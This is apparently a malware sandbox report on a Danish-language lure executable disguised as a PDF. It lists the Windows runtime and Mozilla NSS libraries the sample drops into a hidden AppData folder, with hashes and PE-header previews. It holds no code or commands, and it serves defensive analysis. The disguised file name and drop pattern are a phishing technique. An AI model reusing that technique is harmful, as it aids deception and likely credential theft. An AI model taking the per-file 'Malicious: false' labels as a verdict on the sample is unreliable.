SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-multibyte-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-private-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-process-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-runtime-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-stdio-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-string-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-time-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-crt-utility-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\breakpadinjector.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	117712
Entropy (8bit):	6.598338256653691
Encrypted:	false
SSDEEP:	3072:9b9ffsTV5n8cSQQtys6FXCVnx+IMD6eN07e:P25V/QQs6WTMex7e
MD5:	A436472B0A7B2EB2C4F53FDF512D0CF8
SHA1:	963FE8AE9EC8819EF2A674DBF7C6A92DBB6B46A9
SHA-256:	87ED943D2F06D9CA8824789405B412E770FE84454950EC7E96105F756D858E52
SHA-512:	89918673ADDC0501746F24EC9A609AC4D416A4316B27BF225974E898891699B630BB18DB32432DA2F058DC11D9AF7BAF95D067B29FB39052EE7C6F622718271B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s..y7.{7.{7.{..x+>.{..~+I.{...+%.{.x+$.{..+'.{.~+..{..z+4.{7.zA.{..~+>.{..{+6.{...6.{..y+6.{Rich7.{........PE..L....@.\.........."!................t........0.......................................S....@.........................P...P.......(...................................`...T...............................@............0..D............................text............................... ..`.rdata...l...0...n... ..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\freebl3.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.808908775107082
Encrypted:	false
SSDEEP:	6144:6cYBCU/bEPU6Rc5xUqc+z75nv4F0GHrIraqqDL6XPSed:67WRCB7zl4F0I4qn6R
MD5:	60ACD24430204AD2DC7F148B8CFE9BDC
SHA1:	989F377B9117D7CB21CBE92A4117F88F9C7693D9
SHA-256:	9876C53134DBBEC4DCCA67581F53638EBA3FEA3A15491AA3CF2526B71032DA97
SHA-512:	626C36E9567F57FA8EC9C36D96CBADEDE9C6F6734A7305ECFB9F798952BBACDFA33A1B6C4999BA5B78897DC2EC6F91870F7EC25B2CEACBAEE4BE942FE881DB01
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....@.\.........."!.........f...............................................p............@.........................p...P............@..x....................P......0...T...............................@...............8............................text...d........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldap60.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	132048
Entropy (8bit):	6.627391684128337
Encrypted:	false
SSDEEP:	3072:qgXCFTvwqiiynFa6zqeqQZ06DdEH4sq9gHNaIkIQhEwe:qdvwqMFbOePIP/zkIQ2h
MD5:	5A49EBF1DA3D5971B62A4FD295A71ECF
SHA1:	40917474EF7914126D62BA7CDBF6CF54D227AA20
SHA-256:	2B128B3702F8509F35CAD0D657C9A00F0487B93D70336DF229F8588FBA6BA926
SHA-512:	A6123BA3BCF9DE6AA8CE09F2F84D6D3C79B0586F9E2FD0C8A6C3246A91098099B64EDC2F5D7E7007D24048F10AE9FC30CCF7779171F3FD03919807EE6AF76809
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Q...?S..?S..?S..S..?S\|.>R..?S;..S..?S\|.<R..?S\|.:R..?S\|.;R..?S..>R..?S..>S..?Sn.;R.?Sn.?R..?Sn..S..?Sn.=R..?SRich..?S........................PE..L....@.\.........."!.........f...... ........................................0............@.............................................x.................... ......p...T..............................@...............\............................text...:........................... ..`.rdata...@.......B..................@..@.data...l...........................@....rsrc...x...........................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ldif60.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20432
Entropy (8bit):	6.337521751154348
Encrypted:	false
SSDEEP:	384:YxfML3ALxK0AZEuzOJKRsIFYvDG8A3OPLonw4S:0fMmxFyO4RpGDG8MjS
MD5:	4FE544DFC7CDAA026DA6EDA09CAD66C4
SHA1:	85D21E5F5F72A4808F02F4EA14AA65154E52CE99
SHA-256:	3AABBE0AA86CE8A91E5C49B7DE577AF73B9889D7F03AF919F17F3F315A879B0F
SHA-512:	5C78C5482E589AF7D609318A6705824FD504136AEAAC63F373E913DA85FA03AF868669534496217B05D74364A165D7E08899437FCC0E3017F02D94858BA814BB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9..j..j..j...j..j^..k..j^..k..j^..k..j^..k..j...k..j..j..jL..k..jL..k..jL.bj..jL..k..jRich..j........................PE..L....<.\.........."!................Y........0...............................p......r.....@..........................5.......6.......P..x............2.......`..x....0..T...........................(1..@............0...............................text............................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc...x....P.......,..............@..@.reloc..x....`.......0..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\lgpllibs.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	55760
Entropy (8bit):	6.738700405402967
Encrypted:	false
SSDEEP:	1536:LxsBS3Q6j+37mWT7DT/GszGrn7iBCmjFCOu:LxTBcmWT7X/Gszen7icmjFtu
MD5:	56E982D4C380C9CD24852564A8C02C3E
SHA1:	F9031327208176059CD03F53C8C5934C1050897F
SHA-256:	7F93B70257D966EA1C1A6038892B19E8360AADD8E8AE58E75EBB0697B9EA8786
SHA-512:	92ADC4C905A800F8AB5C972B166099382F930435694D5F9A45D1FDE3FEF94FAC57FD8FAFF56FFCFCFDBC61A43E6395561B882966BE0C814ECC7E672C67E6765A
Malicious:	false
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...........l...l...l.......l..~....l..9...l..~....l..~....l..~....l.......l..l....l...l...l...l...l..l....l..l....l..l....l..l..l..l....l..Rich.l..........................PE..L...z@.\.........."!.........2......................................................t.....@...........................................x...............................T...............................@............................................text.............................. ..`.rdata..>...........................@..@.data...............................@....rodata.8...........................@..@.rsrc...x...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\libEGL.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22480
Entropy (8bit):	6.528357540966124
Encrypted:	false
SSDEEP:	384:INZ9mLVDAffJJKAtn0mLAb8X3FbvDG8A3OPLonzvGb:4mx+fXvn4YFrDG8MKb
MD5:	96B879B611B2BBEE85DF18884039C2B8
SHA1:	00794796ACAC3899C1FB9ABBF123FEF3CC641624
SHA-256:	7B9FC6BE34F43D39471C2ADD872D5B4350853DB11CC66A323EF9E0C231542FB9
SHA-512:	DF8F1AA0384A5682AE47F212F3153D26EAFBBF12A8C996428C3366BEBE16850D0BDA453EC5F4806E6A62C36D312D37B8BBAFF549968909415670C9C61A6EC49A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../...N{.N{.N{.6..N{.F,z.N{.F,x.N{.F,~.N{.F,..N{..z.N{.T-z.N{.Nz..N{.T-~.N{.T-{.N{.T-..N{.T-y.N{.Rich.N{.........................PE..L...aA.\.........."!.........(............... ...............................p......~.....@..........................%..........d....P..x............:.......`.......!..T............................"..@............ ...............................text... ........................... ..`.rdata....... ......................@..@.data........@.......2..............@....rsrc...x....P.......4..............@..@.reloc.......`.......8..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83408
Entropy (8bit):	6.436278889454398
Encrypted:	false
SSDEEP:	1536:CNr03+TtFKytqB0EeCsu1sW+cdQOTki9jHiU:CNrDKHBBjXQSki9OU
MD5:	385A92719CC3A215007B83947922B9B5
SHA1:	38DE6CA70CEE1BAD84BED29CE7620A15E6ABCD10
SHA-256:	06EF2010B738FBE99BCDEBBF162473A4EE090678BB6862EEB0D4C7A8C3F225BB
SHA-512:	9F0DFF00C7E72D7017AECE3FA5C31A9C2C2AA0CCC6606D2561CE8D36A4A1F0AB8DC452E2C65E9F4B6CD32BBB8ADA1FF7C865126A5F318719579DB763E4C4183F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........mR;...;...;.......2.......G.......).......*.......".......4.......>...;...n.......:.......:.......:.......:...Rich;...........................PE..L....=.\.........."!.........................................................`......>.....@.............................l.......<....@..P............(.......P..d...0...T...............................@............................................text............................... ..`.rdata..Z[.......\..................@..@.data........ ......................@....rsrc...P....@......................@..@.reloc..d....P......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozMapi32_InUse.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83408
Entropy (8bit):	6.436278889454398
Encrypted:	false
SSDEEP:	1536:CNr03+TtFKytqB0EeCsu1sW+cdQOTki9jHiU:CNrDKHBBjXQSki9OU
MD5:	385A92719CC3A215007B83947922B9B5
SHA1:	38DE6CA70CEE1BAD84BED29CE7620A15E6ABCD10
SHA-256:	06EF2010B738FBE99BCDEBBF162473A4EE090678BB6862EEB0D4C7A8C3F225BB
SHA-512:	9F0DFF00C7E72D7017AECE3FA5C31A9C2C2AA0CCC6606D2561CE8D36A4A1F0AB8DC452E2C65E9F4B6CD32BBB8ADA1FF7C865126A5F318719579DB763E4C4183F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........mR;...;...;.......2.......G.......).......*.......".......4.......>...;...n.......:.......:.......:.......:...Rich;...........................PE..L....=.\.........."!.........................................................`......>.....@.............................l.......<....@..P............(.......P..d...0...T...............................@............................................text............................... ..`.rdata..Z[.......\..................@..@.data........ ......................@....rsrc...P....@......................@..@.reloc..d....P......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\mozglue.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.784614237836286
Encrypted:	false
SSDEEP:	3072:Z6s2DIGLXlNJJcPoN0j/kVqhp1qt/TXTv7q1D2JJJvPhrSeXZ5dR:MszGLXlNrE/kVqhp12/TXTjSD2JJJvPt
MD5:	EAE9273F8CDCF9321C6C37C244773139
SHA1:	8378E2A2F3635574C106EEA8419B5EB00B8489B0
SHA-256:	A0C6630D4012AE0311FF40F4F06911BCF1A23F7A4762CE219B8DFFA012D188CC
SHA-512:	06E43E484A89CEA9BA9B9519828D38E7C64B040F44CDAEB321CBDA574E7551B11FEA139CE3538F387A0A39A3D8C4CBA7F4CF03E4A3C98DB85F8121C2212A9097
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...{>.\.........."!.....z...................................................@......j.....@A........................@...t.......,.... ..x....................0..l.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..l....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\msvcp140.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nss3.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1245136
Entropy (8bit):	6.766715162066988
Encrypted:	false
SSDEEP:	24576:ido5Js2a56/+VwJebKj5KYFsRjzx5ZxKV6D1Z4Go/LCiytoxq2Zwn5hCM4MSRdY8:Q2aY4w6aozx5ZWMM7yew8MSRK1y
MD5:	02CC7B8EE30056D5912DE54F1BDFC219
SHA1:	A6923DA95705FB81E368AE48F93D28522EF552FB
SHA-256:	1989526553FD1E1E49B0FEA8036822CA062D3D39C4CAB4A37846173D0F1753D5
SHA-512:	0D5DFCF4FB19B27246FA799E339D67CD1B494427783F379267FB2D10D615FFB734711BAB2C515062C078F990A44A36F2D15859B1DACD4143DCC35B5C0CEE0EF5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......c.4.'.Z.'.Z.'.Z.....3.Z...[.%.Z.B..#.Z...Y.*.Z..._.-.Z...^.,.Z...[./.Z..[.$.Z.'.[...Z..^.-.Z..Z.&.Z...&.Z..X.&.Z.Rich'.Z.........................PE..L....@.\.........."!.........................................................@......Q.....@................................x=..T.......p........................\|......T...........................h...@............................................text............................... ..`.rdata...Q.......R..................@..@.data...tG...`..."...>..............@....rsrc...p............`..............@..@.reloc...\|.......~...d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssckbi.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	336336
Entropy (8bit):	7.0315399874711995
Encrypted:	false
SSDEEP:	6144:8bndzEL04gF85K9autIMyEhZ/V3psPyHa9tBe1:8bndzEL04pnutIMyAp2z9tBe1
MD5:	BDAF9852F588C86B055C846B53D4C144
SHA1:	03B739430CF9EADE21C977B5B416C4DD94528C3B
SHA-256:	2481DA1C459A2429A933D19AD6AE514BD2AE59818246DDB67B0EF44146CED3D8
SHA-512:	19D9A952A3DF5703542FA52A5A780C2E04D6A132059F30715954EAC40CD1C3F3B119A29736D4A911BE85086AFE08A54A7482FA409DFD882BAC39037F9EECD7EF
Malicious:	false
